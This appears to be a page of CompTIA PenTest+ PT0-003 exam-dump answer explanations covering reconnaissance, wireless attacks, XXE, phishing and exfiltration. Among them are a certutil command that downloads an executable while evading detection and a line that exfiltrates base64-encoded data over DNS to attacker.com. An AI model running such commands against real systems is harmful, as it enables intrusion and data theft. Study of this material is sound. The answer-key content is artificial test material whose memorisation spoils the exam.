PT0-003 Exam Dumps - CompTIA PenTest+ Questions and Answers

Hunter.io is a tool used for finding professional email addresses associated with a domain. Here’s what it provides:

Functionality of Hunter.io:

Email Address Collection: Gathers email addresses associated with a target domain from various sources across the internet.

Verification: Validates the email addresses to ensure they are deliverable.

Sources: Aggregates data from public sources, company websites, and other internet databases.

Comparison with Other Options:

DNS Records (B): Hunter.io does not focus on DNS records; tools like dig or nslookup are used for DNS information.

Data Breach Information (C): Services like Have I Been Pwned are used for data breach information.

Web Page Information (D): Tools like wget, curl, or specific web scraping tools are used for collecting detailed web page information.

Hunter.io is specifically designed to collect and validate email addresses for a given domain, making it the correct answer.

======

Deauthentication is the correct answer because it is classically effective against WPA2 wireless networks, while WPA3 includes protections against unauthenticated deauthentication management-frame abuse when properly implemented with Protected Management Frames. Since AP3 is the only access point using WPA2, it is the only one that clearly remains the specific target for this attack in the scenario. A deauthentication attack forces connected clients off the network, often to capture handshakes or to push users toward reconnect behavior during wireless assessments. Brute force is not exclusive to AP3 in the way this question asks, signal jamming can affect any wireless network regardless of security standard, and evil twin attacks are not limited only to WPA2 networks. Therefore, the attack that applies only to AP3, based on its WPA2 configuration, is deauthentication.

This is an XML External Entity (XXE) attack, which occurs when an application processes XML input that allows external entity references. The best mitigation is to disable external entities in the XML parser.

Option A (Change file permissions) ❌: Changing file permissions does not fix the root cause, as the vulnerability is in XML processing.

Option B (Review logs) ❌: Logs help with detection, but do not prevent XXE attacks.

Option C (Disable external entities) ✅: Correct.

Disabling external entity resolution in the XML parser prevents XXE attacks.

Option D (WAF) ❌: A WAF can help block attacks, but disabling external entities is the best solution.

???? Reference: CompTIA PenTest+ PT0-003 Official Guide – Web Application Attacks (XXE)

Certutil.exe for File Downloads:

certutil.exe is a native Windows utility primarily used for managing certificates but can also be leveraged to download files from the internet.

Example command:

bash

Copy code

certutil.exe -urlcache -split -f http://example.com/file.exe file.exe

Its native status helps it evade detection by security tools.

Why Not Other Options?

A (netsh.exe): Used for network configuration but not for downloading files.

C (nc.exe): Netcat is not native to Windows and would need to be introduced to the system.

D (cmdkey.exe): Used for managing stored credentials, not downloading files.

CompTIA Pentest+ References:

Domain 3.0 (Attacks and Exploits)

If a wireless network lacks proper encryption, attackers can inject malicious packets into the traffic stream.

Packet injection (Option A):

Attackers forge and transmit fake packets to manipulate network behavior.

Common in WEP/WPA attacks to force IV collisions or spoof DHCP responses.

The correct construct for handling runtime failures (for example, login failures, network timeouts, or server errors) in Python is a try/except block (option C). Wrapping potentially failing operations in a try block and handling exceptions in except allows the script to catch the exception and continue execution (log the error, skip the target, retry, etc.) rather than crashing.

Why C is correct:

try/except is the Python mechanism to handle exceptions raised during execution. For network/email operations (IMAP login/select), IMAP libraries raise exceptions on failure — try/except catches these and enables recovery logic.

Example corrected snippet:

import imaplib, sys

def enumerate_inbox(server, port, user, passwd):

try:

mail = imaplib.IMAP4(server, port)

mail.login(user, passwd)

status, messages = mail.select( " inbox " )

print(f " Total Emails: {int(messages[0])} " )

except imaplib.IMAP4.error as e:

print(f " IMAP error for {user}: {e} " )

# continue to next account or retry

except Exception as e:

print(f " Unexpected error for {user}: {e} " )

finally:

try:

mail.logout()

except:

pass

Why the other options are not the best fit:

A. do/while loop: Python has no native do/while; loops alone won’t catch exceptions — they may repeat the crash.

B. iterator: Iterators control iteration over collections, not exception handling.

D. if/else conditional: Conditionals can test return values but cannot handle exceptions thrown by library calls; they are not sufficient to prevent the script from aborting when an exception is raised.

CompTIA PT0-003 Mapping:

Domain 4.0 Tools and Code Analysis — basic defensive programming and error handling when writing or reviewing scripts used in engagements (use exception handling to make enumeration tools robust and predictable).

The command airodump-ng -c 6 --bssid < target_mac > < iface > is used to capture WPA/WPA2 4-way handshakes on a specific channel and BSSID. This handshake is necessary for offline password cracking using tools like Hashcat or John the Ripper.

From the CompTIA PenTest+ PT0-003 Official Study Guide (Chapter 7 – Wireless Attacks):

“Airodump-ng is used to capture handshakes between a client and access point. The attacker can then attempt to crack the captured handshake offline.”

The correct answer is A. Whaling

Whaling is a type of phishing attack that specifically targets high-profile or senior executives, such as a CFO, CEO, CIO, or other executive-level personnel. In this scenario, the email is directed at the company’s Chief Financial Officer and uses financial pressure, urgency, and a vendor invoice theme to persuade the recipient to open an attachment or take action.

B is incorrect because phishing is a broad term for fraudulent email-based attacks, but this question specifically targets a senior executive, making whaling the better answer.

C is incorrect because spear phishing is targeted phishing against a specific person or group, but when the target is an executive-level individual such as a CFO, the more precise term is whaling.

D is incorrect because vishing involves voice-based phishing, such as phone calls or voicemail. This scenario uses email, not voice communication.

In PenTest+ terms, this falls under Attacks and Exploits, specifically social engineering, phishing techniques, and targeted executive attacks.

DLP (Data Loss Prevention) systems monitor and block sensitive data transfers over HTTP, FTP, Email, and removable devices.

Encoding the data and exfiltrating through DNS (Option A):

DNS is often overlooked by DLP systems because it is required for network functionality.

Attackers use DNS tunneling (e.g., dnscat2, IODINE) to exfiltrate data inside DNS queries.

Example method

echo " Sensitive Data " | base64 | nslookup -q=TXT attacker.com

When the objective is to identify hosts while minimizing the chance of triggering an IPS, PenTest+ prioritizes low-noise reconnaissance techniques over active probing. A reverse DNS lookup queries DNS PTR records for IP addresses and can reveal hostnames for systems that are already registered in internal DNS. This often generates traffic that appears similar to normal enterprise name-resolution activity and is typically less suspicious than broad ICMP echo sweeps or repeated port probes.

An Nmap ping sweep is an overt discovery action that sends ICMP (and sometimes ARP/other probes) across a range and is more likely to be detected or rate-limited by monitoring and IPS controls. LLMNR poisoning with Responder is an active interception/credential capture technique that can be highly detectable and is not simply “host identification.” Viewing the local routing table is very quiet, but it primarily reveals networks and routes, not a list of live hosts on the segment. Therefore, reverse DNS lookups are the most logical balance of effectiveness and stealth for identifying hosts.